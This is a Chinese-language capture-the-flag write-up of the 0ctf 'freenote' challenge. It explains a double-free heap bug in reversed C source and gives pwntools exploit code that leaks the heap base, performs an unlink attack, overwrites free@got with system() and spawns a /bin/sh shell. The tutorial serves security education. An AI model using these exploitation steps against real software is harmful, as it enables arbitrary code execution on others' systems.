在入门 c 语言时我们都知道一个常识:通过 malloc() 动态申请的内存在使用完之后需要通过 free() 释放;那么如果因为程序设计不当,导致这块堆内存释放之后,再释放一次会发生什么呢?看起来这个操作似乎很愚蠢,但是 double free 的确是现代软件中十分常见的一种二进制漏洞。
我将通过一个例子来说明 double free 可能造成的危害。这个例子是曾经的一道 0ctf 赛题。ctf 比赛通过简单演示常见计算机漏洞向参与者普及安全技术,是入门安全的较好方法之一。
程序地址:github.com/ctfs/write-…
环境:ubuntu 16.04 x86_64
工具:ida, pwntools, pwndbg
逆向之后还原的代码如下,如果不想看全部可以先注意虚线处的 bug(reversed by @爱发呆的sakura ):
- #include < stdio.h > #include < stdlib.h > #include < unistd.h >
-
- typedef struct note {
- long int flag; //是否存在笔记
- long int length; //笔记内容的长度
- char * content; //笔记内容
- }
- note;
- typedef struct notes {
- long int max;
- long int length;
- note notes256[256];
- }
- notes;
-
- notes * base;
-
- void allocate_space() {
- base = (notes * ) malloc(sizeof(notes));
- for (int i = 0; i < 256; i++) {
- base - >notes256[i].flag = 0;
- base - >notes256[i].length = 0;
- base - >notes256[i].content = NULL;
- }
- }
-
- int read_choice() {
- int choice;
- puts("== 0ops Free Note ==");
- puts("1. List Note");
- puts("2. New Note");
- puts("3. Edit Note");
- puts("4. Delete Note");
- puts("5. Exit");
- puts("====================");
- printf("Your choice: ");
- scanf("%d", &choice);
- return choice;
- }
-
- void list() {
- for (int i = 0;; i++) {
- if (i >= 256) {
- break;
- }
- if (base - >notes256[i].flag == 1) {
- printf("%d. %s\n", i, base - >notes256[i].content);
- }
- }
- }
-
- void read_content(char * temp, int str_len) {
- int i;
- int read_num;
- for (i = 0; i < str_len; i += read_num) {
- read_num = read(0, (void * )(temp + i), str_len - i);
- if (read_num <= 0) {
- break;
- }
- }
- }
-
- void new_note() {
- int str_len; //字符串长度
- char * temp;
- void * str;
- if (base - >length < base - >max) {
- for (int i = 0;; i++) {
- if (i >= base - >max) {
- break;
- }
- if (!base - >notes256[i].flag) {
- printf("Length of new note: ");
- scanf("%d", &str_len);
- if (str_len > 0) {
- if (str_len > 4096) {
- str_len = 4096;
- }
- printf("Enter your note: ");
- temp = (char * ) malloc((128 - str_len % 128) % 128 + str_len);
- read_content(temp, str_len);
- base - >notes256[i].flag = 1;
- base - >notes256[i].length = str_len;
- base - >notes256[i].content = temp;
- base - >length++;
- puts("Done.");
- break;
- }
- }
-
- }
- }
- }
-
- void edit_note() {
- printf("Note number: ");
- int num;
- scanf("%d", &num);
- int length;
- scanf("%d", &length);
- if (length != base - >notes256[num].length) {
- base - >notes256[num].content = realloc(base - >notes256[num].content, (128 - length % 128) % 128 + length);
- base - >notes256[num].length = length;
- }
- printf("Enter your note: ");
- read_content(base - >notes256[num].content, length);
- puts("Done.");
- }
-
- void delete_note() {
- int index;
- printf("Note number: ");
- scanf("%d", &index);
- base - >length--;
- base - >notes256[index].flag = 0;
- base - >notes256[index].length = 0;
-
- /*------------------------------------------------------------------*/
- /*-------------------------- bug is here ---------------------------*/
-
- free(base - >notes256[index].content);
-
- /*-------------------------------------------------------------------*/
- /*-------------------------------------------------------------------*/
-
- puts("Done.");
- }
-
- int main() {
- allocate_space();
- base - >max = 256;
- while (1) {
- switch (read_choice()) {
- case 1:
- list();
- break;
- case 2:
- new_note();
- break;
- case 3:
- edit_note();
- break;
- case 4:
- delete_note();
- break;
- case 5:
- puts("Bye");
- return 0;
- default:
- puts("Invalid!");
- break;
- }
- }
- }
可以看到在
- free(base - >notes256[index].content);
之后该指针并未置空,在随后的执行流程中可以再次 free 该指针造成 double free 漏洞。如果赋值为 NULL 则不会出现这个问题,释放空指针是安全的行为。
并且注意到在
- base - >notes256[i].content
固定储存着 note0 字符串的地址,当然,在利用这个指针的时候还需要知道它的地址。然后通过触发 double free,更改存 note0 字符串地址的地方,覆盖 got 表,改变程序执行流程。
下面讲具体实现过程。
根据源代码可以看出 list 功能中存在一个疏漏可以导致泄漏未初始化的堆中的数据,如果
泄漏地址需要用到两个 chunk,防止合并需要两个,所以首先添加 4 个 note。
这时候的堆布局:
将 0 和 2 释放之后,note0 chunk 中的 BK 将指向 note2 chunk:
这时候添加一个长度小于等于 8 的 note,又将被分配到 note0 的地址,然后在打印其内容的时候将上次 free 后保存的 BK 指针一起打印出来。能这样做是因为,malloc chunk 是空间复用的,每一个 chunk 都只是一段连续内存,根据不同的情况,一个地址的数据可以被解释为用户数据,也可以被解释为堆指针。将这个泄漏的地址减去 1940h 就得到了 heap base。 知道 heap base 之后就可以计算出 base->notes256[i].content.
泄漏地址之后,就可以释放所有 chunk。
实现如下:
- for i in range(4):
- newnote('a')
- delnote(0)
- delnote(2)
-
- newnote('murasaki')
-
- s = getnote(0)[8:]
- heap_addr = u64((s.ljust(8, "\x00"))[:8])
- heap_base = heap_addr - 0x1940
- print "heap base is at %s" % hex(heap_base)
-
- delnote(0)
- delnote(1)
- delnote(3)
unlink 在空闲 chunk 合并时触发。在这里,因为不是 fastbin,在 free 时如果前后有空闲 chunk 就会触发 unlink:更改相邻 chunk 相关参数、指针,实现向前或者向后合并。我们可以通过触发 unlink(p, BK, FD), 造成 p = &p - 3,将不可写的地址转化为可写。
为什么呢?我们来回顾一下 unlink(p, BK, FD)的行为:
- .FD = p - >fd == &p - 3,
- BK = p - >bk == &p - 2.检查FD - >bk != p || BK - >fd != p,可以利用一个已知指针绕过,即上一节泄漏的base - >notes256[i].content.FD - >bk = BK //即 p = &p - 2
- .BK - >fd = FD //即 p = &p - 3
在二进制可执行文件的层次不存在结构体的概念,只有一段连续的内存,通过偏移量来访问。所以我们可以布置伪造的 chunk,将我们提供的指针被解释为 BK 和 FD,最终实现 p = &p - 3,如果还有不懂的可以查找 unlink 有关资料进一步学习。
接下来是最有意思的部分—— free 伪造堆块实现任意位置读写。堆布局的方法比较灵活,只要能成功利用怎么玩都可以。我的思路是这样的:
实现如下:
- newnote(p64(0) + p64(0x110 + 1) + p64(heap_base + 0x18)+p64(heap_base + 0x20))
- newnote("a" * 0x80 + p64(0x110) + p64(0x90) + "a" * 0x80 + p64(0) + p64(0x91) + "a" * 0x80)
- delnote(2)
经过调试你会发现这个时候就实现了 p = &p - 3,也就是原来储存 note0 地址的地方变了,现在修改 note0 的用户数据就是修改 note0 的地址,之后再编辑 note0 就是改变这个地址的内容。
因为这个程序的 got 是可写的,所以在实现任意写之后可以将 free@got 覆写成 system() 地址:
- elf = ELF('freenote')
- off_system=libc.symbols['system']
- off_free=libc.symbols['free']
- free_got=elf.got['free']
- editnote(0, p64(100) + p64(1) + p64(8) + p64(free_got))
- s = getnote(0)
- free_addr = u64((s.ljust(8, "\x00"))[:8])
- libc_addr = free_addr - off_free
- system_addr = libc_addr + off_system
- print "system is at %s" % hex(system_addr)
- editnote(0, p64(system_addr))
现在调用 free() 就是调用 system() :
- newnote("/bin/sh\x00")
- delnote(2)
- p.interactive()
综上,将一个指针释放两次确实是非常危险的行为,它可以造成任意代码执行。希望广大开发者和想从事安全行业的新手们可以从中得到一点点启发。
链接:pan.baidu.com/s/1jIotmGQ 密码:pdvw
来源: https://juejin.im/entry/59f82f896fb9a04511706d90